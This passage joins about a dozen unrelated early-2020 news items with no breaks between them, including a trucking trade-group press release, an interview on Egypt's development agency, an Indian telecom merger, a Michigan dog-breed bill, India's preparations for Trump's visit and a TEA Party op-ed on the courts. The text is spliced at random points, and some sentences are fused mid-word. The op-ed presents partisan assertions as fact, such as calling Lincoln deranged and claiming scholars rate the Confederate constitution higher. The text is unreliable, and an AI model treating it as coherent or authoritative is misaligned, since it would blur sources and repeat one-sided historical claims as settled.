Las Vegas. Medina plans to expand the project to Las Vegas next as he creates a template for other cities to follow. "This is about lifting all of us up and improving brain health. The more representative our research samples are, the better we can understand the disease," said Medina, who was recently invited to serve on the Alzheimer's Association International Research Grant Program Council to help craft funding opportunity requests for applications, provide expertise during grant review and make funding recommendations. The association is especially interested in Medina's input on issues related to the recruitment of underrepresented populations. LEXINGTON, Ky., Feb. 21, 2020 /PRNewswire/ -- In 2020, the Independent Truck Repair Group (iTRG) plans to serve as an invaluable partner and ally to independent truck repair shop owners nationwide through a comprehensive multi-pronged approach designed to promote the business interests of the heavy-duty repair industry. "Our mission at the Independent Truck Repair Group is simple," says Robert "Buck" Monson, Executive Board Member of iTRG and owner of Monson Truck & Trailer Repair in Davenport, Iowa. "We help independent truck repair shop owners build thriving, profitable businesses." A New Trade Organization for Independent Truck Repair Shops. However, as simple as the mission statement may be, the training, support, and access to increased buying power given to independent truck repair shop members are some of the most sophisticated and powerful in the industry. For example, iTRG's new website boasts a dynamic plug-and-play interface e-commerce purchasing system compatible with any business system in the market today, which downloads 40,000 part numbers each day. Likewise, membership in iTRG allows heavy-duty truck repair shops to participate in national programs, which lead to increased purchasing power. TRAINING: New training and consulting services will also be available to promote independent truck repair shops' bottom line. Training courses taught by industry leaders will focus on building organized, efficient, and high-performing teams and developing "A"-level diesel technicians. Last year, two of iTRG's most popular training courses included the Electrical Emissions and Aftertreatment System Maintenance Course, and Advanced Electrical Training. In 2020, the training curriculum will expand to include operational training services including digital marketing for independent truck repair shops and SEO training provided by industry leaders. Similarly, consulting services will be available for pairing some of the nation's most successful shop owners with members to share best practices for shop systemization. To date, the Independent Truck Repair Group has attracted the leading electrical trainer in the independent market and has trained more than 450 technicians. In fact, in 2019, numerous independent truck repair shops shut down production and closed their doors for three days so their technicians could attend the high-level training offered by iTRG. BUYING POWER: Heavy-duty industry vendors and suppliers are also taking notice of iTRG's growing member network, which currently generates in excess of $200 million in annual revenues and represents nearly $60 million in annual parts purchases. GOALS: The trade organization isn't shy about its ambitions for 2020. "Our goal is to represent 60% of the thousands of independent truck repair shops in the nation," John Stoeckinger, president, iTRG, said. "We're confident we will achieve this goal because we know that independent shop owners often feel like they are alone. Membership in iTRG makes them part of a family, who are all working together for stronger buying power, better training, and increased profitability." BENEFITS: iTRG plans to continue working on National Employee Benefit Programs and General Liability/Workers Compensation Insurance programs for its members. "Our overall goal at iTRG is to reduce our members' operating costs by a minimum of 20%, which goes directly to their bottom line," Stoeckinger said. Stoeckinger goes on to say, "No shop owner has to go it alone anymore. We're here to provide top-quality training, unparalleled networking, and countless strategies for business growth, along with increased purchasing power to boost profitability." The next iTRG training course will be held in Dallas, Texas, March 6-8, 2020. To learn more, visit www.indtrg.com. Independent Truck Repair Group is a trade organization for independent truck repair shops, with a mission of helping shop owners to grow their businesses through increased parts purchasing power, tech and business system training, and strategic partnerships. Who Are We? We Are You! www.indtrg.com Media Contact: John Stoeckinger Phone: 859-629-6129 Email: [email protected] Related Files indtrg one sheet (3).pdf Related Images independent-truck-repair-group-itrg.jpg Independent Truck Repair Group (iTRG) A New Trade Organization for Independent Truck Repair Shops. Related Links iTRG Facebook Page iTRG Tech Talk Facebook Group SOURCE Independent Truck Repair Group Related Links http://www.indtrg.com Lynn Silva, 66, a retired special-education instructor for incarcerated adults, is a lifelong Democrat. The Trump era has made her so anxious and so worried for the country that she can no longer stand to listen to the television when the president is speaking. Her list of favorites to run against him is long and ever-changing, but she is starting to conclude that Bloomberg, hardly her first choice to be the Democratic standard-bearer, may be the ultimate candidate for a coldly calculated reason: He has the money to win. Mahmoud Al-Maghrabi, Secretary-General of the Egyptian Agency of Partnership for Development, talks with Al-Ahram Weekly about efforts to promote African development The Egyptian Agency of Partnership for Development (EAPD) was established in July 2014 to lead South-South cooperation. It aims to utilise Egypts comparative advantages and technical expertise for the benefit of the South and in particular of Africa and the countries of the Commonwealth of Independent States. The agency merged the earlier Egyptian Fund for Technical Cooperation for Africa and the Egyptian Fund for Technical Cooperation for the Commonwealth of Independent States. EAPD policy is drawn up by a board of directors chaired by the foreign minister and includes the deputy foreign minister for African affairs and a number of assistants. It is based at the Foreign Ministry and is administered by a secretary-general appointed by the foreign minister. How did Egypt being the 2019 chair of the African Union reflect on the activities of EAPD? EAPD organised more than 80 training programmes for African cadres to develop and build capacity in various fields including the health, agriculture, irrigation, electricity and infrastructure sectors, womens empowerment, diplomacy, peace and security during 2019. More than 2500 trainees attended the various programmes. We also boosted EAPDs cooperation with international and regional parties interested in the development of Africa, with the Japan International Cooperation Agency (JICA), one of our most important international partners, the Food and Agriculture Organisation (FAO), the Islamic Development Bank (ISDB) and others. In the field of security and development to which the agency gives high priority- post-conflict reconstruction and development topped our 2019 agenda. In cooperation with various state agencies we organised activities that included training programmes to combat terrorism in which 300 trainees from 40 African countries took part. The agency works in close collaboration with the Armed Forces Training Authority and the Police Research Centre at the Ministry of Interior to provide comprehensive programmes that build on their extensive experience in the fight against all forms of terrorism. EAPD developed several programmes in the field of food security, organising capacity building programmes in irrigation system development, drinking water supply, water resource management and agricultural productivity. EAPD also intensified its activities in support of Egyptian medical units and clinics in African countries. There are 21 Egyptian medical centres across the continent, and medical convoys have been regularly dispatched. In this context we have strengthened our cooperation with the most distinguished research centres and medical service providers in Egypt, including the Magdy Yaacoub Foundation for Cardiology, the Mansoura Kidney and Urology Centre and the Childrens Cancer Hospital 57357. EAPD contributed to efforts to face emergency conditions in African countries during 2019 by providing 25 aid shipments to 14 African states that included food aid, medical aid and logistical help. Last, but not least, EAPD doubled the number of scholarships offered to African students to study in Egypt. Ten scholarships were offered at Ain Shams University and 10 for graduate studies at the Senghor University in Alexandria. During the year EAPD also organised two workshops for African media figures, addressing topics such as the role of the media in supporting African relations, the impact of media on security and development and in supporting female empowerment. What is the biggest and most beneficial project that the EAPD took part in during 2019? Sending medical convoys to Sudan, South Sudan, Tanzania and Djibouti was one of the most important projects last year. We also organised the Media and African Cooperation programme which took place between 20 and 30 January in Cairo. Twenty three leading media figures from the same number of countries participated in the programme which included events and meetings with official dignitaries, seminars and field visits to major projects in Egypt and a tour of Cairos tourist attractions. There were meetings with Ahmed Al-Tayeb, the Grand Imam of Al-Azhar Al-Sharif and Pope Tawadros II, Pope of Alexandria and Patriarch of the See of St Mark, among other officials. The participants also visited Media Production City, the Nasser Military Academy, the Police Academy, the National Training Academy, the Suez Canal, the New Administrative Capital and the British and the German Universities in Egypt. What is the EAPDs focus now ? Last month we held a workshop on investment opportunities in international trade and transport in African countries in cooperation with the Arab Academy for Science, Technology and Maritime Transport which many decision-makers in the transport and logistics sectors and African port attended. Supporting the development aspirations of African countries is one of Egypts top priorities. What has the agency done to help meet this goal in the last five years? Our activities include organising training programmes in partnership with Egyptian centres of excellence. More than 300 programmes that have benefited 10,000 participants from 42 African countries were organised. EAPD also sent 65 experts to a total of 21 countries to provide aid and humanitarian assistance, medical equipment, medicines and healthcare services. The EAPD started a partnership with JICA. How has this contributed to meeting the agencys goals? In 1998 Egypt and Japan signed a Framework Agreement for Triangular Cooperation with Africa. The agreement has been implemented for the past years by the Egyptian Fund for Technical Cooperation with Africa (EFTCA) and JICA and has focused on organising training courses for African cadres. Last year EAPD, in cooperation with JICA, organised a training programme on the effective use of water to achieve moderate irrigation goals. Nineteen trainees from eight African countries, five of which are Nile Basin countries, took part. The programme was held at the Regional Centre for Training and Water Studies from 1 December 2019 to 9 January. It aimed to improve the efficiency of water management in African countries by providing training to irrigation and agricultural engineers on effective water use management. What other partners does EAPD work with and how do they help the agency to meet its goals? The Islamic Development Bank (IDB) is an important partner. It is considered one of the most flexible financial organisations supporting development in Africa. EAPD upgraded the cooperation framework with the bank, signing a memorandum of understanding with its head in Jeddah on 19 April 2015 that aims to support the exchange of expertise and expand the realm of cooperation. The African Bank for Development (ABD) is another important partner. Cooperation between ABD and the Egyptian Fund for Technical Cooperation with Africa is based on a memorandum of understanding concluded in 1998. EAPD has bolstered cooperation with the bank by identifying new opportunities such as the dispatch of experts and the organising of health training in addition to the more traditional support of Egyptian private sector activities in Africa. The Arab Fund for Technical Assistance of the League of Arab Nations (AFTA) is also a partner. Cooperation between EAPD and the Fund was initiated and has been maintained on the basis of a memorandum of understanding signed in 1998. AFTA has co-funded training courses in the domains of diplomacy and health. One of your goals is to provide regional solutions with a global perspective. How far has EAPD gone in meeting the global Sustainable Development Goals (SDGs), especially zero hunger (SDG2), good health and wellbeing (SDG3), gender equality (SDG5) and peace, justice and strong institutions (SDG16)? SDG2 is of crucial importance to the region and agriculture is a priority work-area for EAPD. We have worked with the Egyptian International Centre for Agriculture and together have designed and delivered many capacity building programmes. In order to meet SDG3 we have established strong partnerships with Egyptian centres of excellence in the health sector and with the Ministry of Health, faculties of nursing and the Alexandria Regional Centre for Womens Health and Development. Achieving gender equality and empowering women is also high on the agencys agenda. Development cannot be achieved or sustained without the full involvement of women. We collaborate with the Egyptian National Council for Women to design and deliver training courses tailored to women from countries across the continent. The EAPD collaborates with national partners to support other African countries implement SDG16. Through solid partnerships with organisations like the Ministry of Justice, the Administrative Control Authority, the Armed Forces and the Police Academy, African officials receive training on issues such as human trafficking, anti-terrorism measures and humanitarian law. What are your future plans? Our mission in Africa is on-going. A number of pilot projects are in the pipeline. There is a multi-dimensional project comprising a school, simple factories and clinics and we are currently discussing with our partners. More details will be available by April. EAPD will continue to engage in the kinds of development activities it has traditionally undertaken and at the same time strive to find innovative ways to strengthen South-South and triangular cooperation and forge partnerships with national, regional and international stakeholders to provide African solutions with a global perspective. *A version of this article appears in print in the 20 February, 2020 edition of Al-Ahram Weekly. Search Keywords: Short link: New Delhi, Feb 21 : The government has approved the long-pending merger of Bharti Infratel with Indus Towers. Official sources said the Department of Telecom has approved the merger wi thout any conditions. The merger comes at a time when the development makes it easier, especially for Vodafone Idea to raise the cash to pay its AGR dues, and further increase its survival possibilities. The merger is crucial as it will help the loss-making telecom companies Bharti Airtel and Vodafone Idea sell stake to raise funds in the competitive telecom battleground, especially when they have to pay huge AGR dues to the Department of Telecommunications after a Supreme Court verdict in October. Indus Towers is a three-way joint venture between Bharti Infratel, UK-based Vodafone Group and Vodafone Idea, with the first two holding 42 per cent each. Vodafone Idea has 11.15 per cent and the remaining 4.85 per cent is with private equity firm, Providence. Bharti Airtel owns a majority stake (53.51 per cent) in Bharti Infratel. The Bharti Infratel and Indus merger was approved ahead of the February 24 deadline, extended by Bharti Infratel in December pending the approval. The deal, which creates the world's second largest telecom tower firm, was signed on April 23, 2018. KKR and Canada Pension Plan Investment Board are expected to own a combined 6 per cent, stemming from their stake of over 10 per cent in Bharti Infratel. The Michigan legislature is once again considering whether to prevent local governments from banning pit bulls or other specific dog breeds. House Bill 4035, sponsored by Rep. Jim Ellison, D-Royal Oak, would prevent Michigan communities from enacting breed-specific legislation, or any policy that singles out a specific breed of dog as a dangerous animal. The House Local Government and Municipal Finance Committee heard comments on the legislation this week. If passed, the bill would not prevent communities from enacting other restrictions or requirements on dogs or dog owners, including regulating dogs determined to be dangerous or potentially dangerous based on factors other than the dogs breed. A handful of Michigan communities currently have breed-specific laws on the books, and the issue of whether to nullify those policies or let them stand has sparked passionate debate over the years. Proponents of a ban on breed bans argue there are more effective ways for local governments to deal with dangerous dogs, and that dogs of any breed can be a danger to the public. But breed ban supporters say communities should have the right to ban pit bulls and similar breeds, citing recent pit bull attacks and fatalities. At least one community in Michigan, Hazel Park, previously had a breed-specific ban and ultimately opted to reverse it. The citys mayor pro tem, Alissa Sullivan, told lawmakers the policy created a false sense of safety and had no significant impact on the number or severity of dog bites, adding that costs to enforce the ban were prohibitive. Vaughn Wagner of Waterford Township presented a different perspective, sharing that the ban went into effect in his community after two pit bulls attacked people in his neighborhood decades ago, and has helped keep the public safe since: It has protected my community for over 30 years, he said. According to the nonpartisan House Fiscal Agency, eight states prohibit any local breed-specific regulations, and 13 others prohibit breed-specific classification of dogs as dangerous. Richard Angelo, an attorney with Best Friends Animal Society, said the best ordinances focus on the behavior of dogs and holding reckless owners accountable. Policies based on identifying an animals breed are unreliable, expensive and infringe on a responsible owners right to own the breed of dog they choose, he said. Bad owners lead to bad dogs and put everyone in our communities at risk, he said, adding when it comes to preventing dog attack tragedies, breed discriminatory laws arent the laws to help meet that goal. Rochester resident Ann Marie Rogers, representing the group Responsible Citizens for Public Safety, said the safety of Michigan residents and their pets should be prioritized, highlighting recent cases of pit bull attacks and deaths. How many more deaths and serious injuries will it take to put the safety of human beings first and foremost?" she asked lawmakers. The legislation remains before the House Local Government and Municipal Finance Committee. It would need to pass the House and Senate and be signed by Gov. Gretchen Whitmer to become law. During the last legislative session, a similar bill passed the state Senate but was not taken up in the House. Related coverage: Pit bulls versus everybody. Should they be banned? Local bans on specific dog breeds would be blocked by proposed law Diggy the smiley dog classified as American Bulldog, but police say pet violates pit bull ban Saginaw City Council passes Dangerous dogs ordinance 5-3 US President Donald Trump and First Lady Melania Trump will be on an official two-day visit to India between February 24 and 25, and they will be starting their trip from Gujarat where Prime Minister Narendra Modi will personally receive them at the airport. This is Trump's first visit to India, which is probably why the government has taken the Herculean task of "revamping" the country before the POTUS and FLOTUS fly in. From building a wall in Ahmedabad to releasing 14,000 litres of water into the Yamuna, the government is on its 'Swacch Bharat' mission, trying to cover up everything that may portray the country in an unfavourable light. Incidentally, it does not seem very different from when a guest arrives at our house unannounced and we are forced to clean up our room. Build a Wall The Ahmedabad Municipal Corporation will be building a half kilometre, four-foot wall along the road that connects Gandhinagar and Ahmedabad, and the purpose is to hide around five hundred kutcha houses in the Dev Saran or the Saraniyavaas slum area. In short, the Ahmedabad government wants to hide the poverty rampant in the country by building a wall, in the name of Atithi Devo Bhawa. But can a wall really hide the fact that India ranks 129 on the Human Development Index as of 2019 or that India is home to 28 per cent of the world's poor? Given that Trump has an affinity for walls, the AMC is probably hoping he'll appreciate this one. Catch em' dogs That's not all. Ahmedabad has a well known stray dog problem. Last year, a report in the Ahmedabad Mirror claimed that the AMC received over six hundred complaints of dog menace every month. The same report claimed that people were scared to step out of their homes without a stick in fear of these aggressive dogs away or even let children out of the house without supervision. More than 40 cases of dog bites had been reported in one year. Now that Trump will be participating in a 22 kilometre long roadshow in Ahmedabad with over one lakh people attending the event, the AMC clearly doesn't want stray dogs to create a nuisance and cause embarrassment to the government. Hence, the Cattle and Dog Nuisance Control Department (CDNCD) has been appointed to capture any stray dog or bull they see roaming the streets. What is noteworthy here is that despite multiple complaints to the AMC about the strays, all that the authorities did was vaccinate them and leave them there. An earlier report had noted that simply vaccinating the dogs did nothing to alleviate the problem. But who knows, maybe Trump's arrival could be a blessing in disguise? Paint the walls Reportedly, the Gujarat government will be spending roughly 80 crores prepping for Trump's visit. The beautification process also includes painting walls with messages of harmony between the US and India. Photos of colourful walls with Trump posters are galore: No-smell Yamuna No surprises, but Agra is also on the agenda for Trump. After all, any foreign diplomat's visit to India would be incomplete without a customary visit to one of the eight wonders of the world, the Taj Mahal. But gone are the days when tourists would scurry to the top of the monument to get a spectacular view of the Yamuna River; it is one of the most polluted rivers in the world and has a stench that almost makes it impossible to enjoy the beauty all around. A study conducted last year, which involved collection of samples from the Yamuna, showed that the river was saturated with domestic and industrial waste which are released in huge quantities into the waters every year. But in order to shield Trump and Melania from the foul smell, 500 cusecs of water has been released into the Yamuna, so as to improve the "environmental condition" of Agra. The Uttar Pradesh Irrigation Department believes that this will also improve the oxygen level in the Yamuna in Mathura and in Agra. While this move may not make the Yamuna's water fit for drinking, it could definitely eradicate the fetid smell. That's not all. The Taj Mahal itself is being cleaned. Here's a photo of how the massive monument is being renovated before Trump's visit: But can one really wipe away the yellow patches that have formed on the magnificent white marble? The 17th century monument has been turning yellow with green and brown streaks owing to extensive air pollution in Agra and swarms of insects damaging the walls. Get rid the monkeys Anyone who's ever visited the monument would testify that the Taj Mahal is home to hundreds of monkeys. Unfortunately, the poor animals aren't too keen on tourists gawking or clicking pictures of them and there have been numerable reports of the monkeys behaving aggressively towards people visiting the monument. A report in Reuters published last year mentioned how the security personnel at Taj Mahal had resorted to slingshots as the only effective weapon against the monkeys attacking tourists. Turns out, this time too, Trump's guards accompanying him and Melania would be well-armed with slingshots to drive monkeys away. While there were reports earlier of no major deal being signed between India and the US during Trump's stay, the US President's trip may after all be a good thing for the country--Ahmedabad residents may finally have a solution to their dog problem, the Taj Mahal may appear whiter before the pollution takes over again and the Yamuna may stink a little less. But is this just temporary relief? One can only hope otherwise. Donald Trump has mocked Amy Klobuchar for her debate performance in Las Vegas, where she confronted Pete Buttigieg for suggesting that she had discredited herself by forgetting the name of the president of Mexico. Ms Klobuchar had responded to the mini-scandal by saying she had only momentarily forgotten president Andres Manuel Lopez Obrador's name, and then asked Mr Buttigieg if he thinks she is "dumb" when he said he "wouldn't liken this to trivia." Mr Trump jumped on the moment during a campaign rally in Colorado Springs on Thursday. "'Do you think I'm dumb'?'" he mocked, before continuing, "That was the end of her campaign in my book." Mr Trump also targeted billionaire Mike Bloomberg during the rally, saying he had a poor night when he joined the five other leading democrats on the stage that night. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters The sparring between Ms Klobuchar and Mr Buttigieg was started after Ms Klobuchar forgot the Mexican president's name during an interview with the Spanish language outlet Telemundo. During the debate, she dismissed the error as "momentary forgetfulness", before the candidates enaged in a spat on stage. "That's right, I said I made an error," Ms Klobuchar said. "I think having a president that maybe is humble and is able to admit that here and there maybe wouldn't be a bad thing." Mr Buttigieg shot back: "I wouldn't liken this to trivia. You're staking your candidacy on your Washington experience. You're on the committee that oversees border security. You're on the committee that does trade. You're literally in the part of the committee that's overseeing these things." "Are you trying to say that I'm dumb are you mocking me here, Pete," she responded. "I said I made an error. People sometimes forget names. I am the one that has, number one, has the experience based on passing over 100 bills." Ms Klobuchar then criticised the former South Bend for previous failed runs at statewide office in Indiana. This article comes from a few remarks I made to introduce my last TEA Party meeting. The ultimate topic, to be discussed by a few candidates running for state office, was the problem they see (if any) with our state court system and our federal court system. I wanted to provide an introduction, making sure our members were clear as to the power the courts have managed to assume and exert over the many years.For those who live in North Carolina, both tracts of the court system have done great damage to the conservative values that we hold dear in this state and have terribly and recklessly undermined and eroded the notions of "democracy" that we are not only entitled to but which rely on. To many who live here, the courts are seen as progressive rogue elements who operate outside the constitution, outside any sense of oath or loyalty to the country, absent any sense of duty, and for the sole purpose of using their positions to make the types of changes that THEY, in their personal and political views, think it necessary to make. In other words, we see the courts as independent agents who are more self-interested than anything else. Just as law schools have morphed into centers ofWow, that Article IV is powerful. And it sort of shows rather clearly how deranged President Abraham Lincoln was and how overly ambitious he was to keep the money flowing from the agricultural southern states to the northern businessmen.is defined as one in which the powers of sovereignty are vested in the people and are exercised by the people, either directly, or through representatives chosen by the people, to whom those powers are specially delegated. Each southern state seceded from the Union after first calling a convention (just as they did to consider and debate the proposed US Constitution) and selecting delegates from among the people themselves to consider that sole issue, and then issuing a Declaration of Secession. They followed up by writing new state constitutions, if necessary, and then meeting to decide the question of whether to form into a new union (The Confederate States of America), which they agreed to, and finally wrote up a new national constitution. Most legal and constitutional scholars will comment that the Constitution of the Confederate States of America was a better constitution than our US Constitution (and that opinion has nothing to do with slavery). So, we see that Lincoln violated Article IV by making sure that the United States government did NOT guarantee a republican form of government to the 11 southern states that chose to secede. Next, Article IV guarantees that the federal government will protect them against invasion. But again, Lincoln ignored that promise as well. The only invasion that the South suffered was from the federal government itself. If Lincoln thought the Southern states were merely victims of domestic violence and insurrection, there was nothing to support such an assertion. There was no application by the legislatures of the states to the federal government for protection. Lincoln simply promoted a fake view of southern secession, characterizing it in terms that inflamed the passions of those in the north into taking the action he alone deemed absolutely necessary. (Well, there were others who agreed with him, such as his Secretary of War, Edwin Stanton - an evil and ambitious man).It's important - very important - to remember that Lincoln never accepted the fact that the southern states willfully and thoughtfully left the Union, exercising a natural right RESERVED to every sovereign, a right articulated in our Declaration of Independence, and a right correctly characterized as an(reserved to every state under the Tenth Amendment). In fact, they did everything exactly as the original 13 colonies did when they separated (ie, seceded) from Great Britain and organized into a union of states for mutual protection, strength, and bargaining power with the countries of Europe and Asia. Lincoln characterized the action of the 11 southern states as a collective act of rebellion - of domestic upheaval. Of course, nothing could have been farther from the truth. Those states took the calculated steps they took because they chose NOT to act in rebellion against their fellow northern states but rather to simply leave, peacefully, and to re-form a Union based on a government that serves their interests far better (and without open hostility).The cornerstone of the united States of America is the US Constitution. It is the cornerstone, along with state constitutions, of our Rule of Law. Each constitution memorializes what the People expect from government - the powers delegated to it, the powers denied to it, and the essential individual rights that it is obligated to respect and forbidden to violate or burden. The equal application of the Rule of Law and the memorialization of individual rights guarantees persons in our country that they can live freely. It is this understanding that she reinforce to all of us the immeasurable importance of the US Constitution (and then the individual state constitution). The Constitution is OUR document. It was written for us and continues to provide as best as possible a shield to keep government at bay and out of our lives as much as possible. It is one of enumerated powers only, and therefore any additional power the government assumes or has assumed over the years has been done by abusing power, "usurping" powers during times of national emergencies, and most commonly, with the blessing of the federal judiciary. Since government has grown abusive and tyrannical over the years, the Constitution protects us far less than it did in the years post Founding and pre-Civil War. Yet, it continues to be all we have to keep the government within certain boundaries in our lives, with our liberties, and relating to our property.This is why conservatives fight so hard to make sure the Constitution is understood and upheld. This was one of the main reasons why the TEA Party was formed back in 2009.The TEA Party movement was founded for absolutely all the right reasons. I hear people mock the TEA Party movement, mock TEA Party principles, mock TEA Party folks as loonies, call TEA Partiersand, chide groups into changing their name so as "not to offend" folks. I don't fall for this. Anyone who has a bad opinion of the TEA Party and of the movement in general needs to submit to an intense course on American history and an intense course on US Government and Civics (not the progressive-type course that indoctrinates liberals). The origins of the TEA Party go back to an appreciation for the Constitution given to us by our Founding Fathers and its framers. All of a sudden, people all over the country realized that the Constitution had been framed with great genius and wisdom. And they also realized that all of the country's problems stemmed from the all-too-obvious fact that the federal government had perverted our republic by unilaterally expanding its powers beyond the boundaries and limitations specified in the Constitution, and including the Bill of Rights, and adding usurped powers to its list of legitimate powers.Every time the federal government ignores the Tenth Amendmentand the Ninth Amendmentand assumes powers NOT specifically delegated to it by the Constitution, it USURPS or TAKES those powers away from the one they rightfully belong to. For example, the federal government (thru the Supreme Court, a federal court) took control of marriage in the Obergefell v. Hodges case, claiming it alone had the power to declare gay marriage equivalent to heterosexual marriage. In doing so, it usurped the power to regulate marriage from the States, where it belonged and had belonged for ages. When the federal courts continue to strike down our legitimate Voter ID laws, as they have been doing (continually crying), they USURP the rightful power of the state to regulate elections for a rightful purpose. They continue to substitute their personal opinions and views for those of our elected state legislators and they continue to ignore how the issue of voter and election fraud permeated the 2010 election and was almost single-handedly responsible for ushering in the historic Republican majority (first since Reconstruction).Remember the story of Ben Franklin leaving the Philadelphia Convention back in September 1787... A woman asked him:When we look at how far out of control the federal government has gotten, we must go back to that afternoon and back to that comment and ask if we are doing what we need to do to keep our republic. We know that everything the Democrats are doing, everything they stand for, is designed to transform our republic from one based on individual freedom to one based, at least in good part, on socialist principles.What is a REPUBLIC? Do we really know what is meant when our Founders gave us a form of government known as a Republic?A Republic is essentially a government system whereby supreme power is held by the people and they exercise their influence and their interests and views through their elected representatives. In other words, a republic has a democratic element but that element is exercised at the ballot box. It is also exercised by citizens attending public meetings and legislative sessions, taking notes and publishing them to inform the community and by making their voices heard through comments at the session and through peaceful protests. Demonstrations, protests, acts of civil disobedience... these are further ways to exercise democratic influence in our republic system.The TEA Party movement was started for concerned citizens to get active and to get involved in the government. Reminding government that it belongs to the people, to serve them and their interests is what we must do. After all, if we want "a government of the people, by the people, and for the people," we must be vigilante - especially when it comes to the selection of our representatives.The wordderives from the Latin phrase res publica, orIt suggests a measure of popular involvement in government. And the authors of the Constitution were radically republican and believed that the only legitimate form of government was one in which public authority derived entirely from the people. We saw this very language in the Declaration of Independence.And so we look at some of the ways our republic has lost its original character and how our government system has been transformed from one of limited power to one of concentrated power, and almost all of them involve recklessness, disloyalty, and complicity by the federal judiciary. Yes, what I am saying is that our government has become tyrannical and it has become so, to a great extent, because the federal courts have sanctioned such abusive powers.A government is tyrannical when it passes and enforces laws without proper constitutional authority. It is tyrannical when it imposes mandatory duties upon its citizens without legal authority or when it treats groups of citizens unequally. It has become tyrannical because the federal courts have re-interpreted language in the Constitution, ignored other language, or inserted new language unilaterally into it. (This is what the "living, breathing document" justices have done over the years). It has become tyrannical after years and years of illicit changes to the Constitution sanctioned by progressive courts not wanting to faithfully interpret the Constitution as much as they wanted to bring about social change in our country. It has become tyrannical each time the federal government wished to assume new powers or to claimover an area belonging to the States and the federal courts provided support by using fancy sophistry (or as Scalia used to call it -) in its rulings to make it so. We saw a prime example of this in Chief Justice John Roberts' opinion in the Obamacare ruling. It was the most horrific and tortuous example of legal reasoning. It has become tyrannical when it uses its branches not effect the powers articulated in the Constitution but rather to make sweeping social change in the country, even when it goes against the very fabric of society in the individual states. We saw this when the Supreme Court ignored the entire history of abortion laws and policies to find a right in the Constitution for a woman to murder her unborn child. This ruling, Roe v. Wade, ushered in a new age of Women's Rights - the right of a woman to rid her body of a growing child for any reason at all, including because the pregnancy is causing her stress, giving her a headache or causing her to lose sleep, or because it is giving her anxiety. The government has become tyrannical because the one body constitutionally tasked with passing laws (the US Congress) has been allowed to outsource certain legislative powers to unelected, un-accountable agencies, and the courts have sanctioned them. It has become tyrannical because the courts have asserted a power they were not intended to have - the power to compel, or force compliance with their rulings. We saw this in the court orders forcing the South to establish school districts and to show that such districts have been drawn to establish acceptable racial quotas. Some such court orders are still in effect today - approximately 65 years after the Brown v. Board of Education ruling. The government has become tyrannical because judges have the ability to force or compel individuals to do something that they themselves think should be done. The Constitution does not empower courts to fashion remedies, yet they do it all the time. We saw this with the infamousruling in 1971, where school districts would be required to bus students around to actively and affirmatively achieve court-required racial quotas. Another example - a school official can be forced to admit certain students or to retain certain students even though they may pose a risk to the safety of other students. In other words, judges know better. And finally, the government is tyrannical because judges and justices have now become legislators from the bench, thus blurring the separation of powers, and allowing unelected, un-accountable men in black robes to make law, make policy, and to dictate what the other branches can do (depending on how it affects their political beliefs). We call this Judicial Activism. Read on for the most recent top news you may have missed in Detroit. Ferndale project starts pouring sour beers, session ales on Saturday Read the full story on Eater Detroit. Oakland County prosecutor, Equality Michigan partner to serve LGBTQ crime victims Read the full story on The Detroit News. Detroit City FC will pay tribute to standard-bearers Dave Edwardson, Seb Harris Read the full story on The Detroit News. Ex-Warren police official's wrongful discharge suit tossed Read the full story on The Detroit News. Skilled nursing and rehab center opens on Vernor Highway Read the full story on The Detroit News. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Ottawa: A chartered plane carrying more than 200 Canadians evacuated from the coronavirus-quarantined Diamond Princess cruise ship landed at a military base in Ontario province early on Friday. All the passengers who arrived at Canadian Forces Base Trenton, 200 kilometers (120 miles) southwest of Ottawa, had tested negative for COVID-19, CBC reported. They will however be quarantined for a further 14 days at the Nav Centre in Cornwall, Ontario, a hotel and conference center which has previously been used by the government as an emergency shelter, the national broadcaster said. The Diamond Princess, which is moored in Yokohama near Tokyo, is the biggest coronavirus cluster outside the Chinese epicenter, with more than 600 cases confirmed among the 3,700 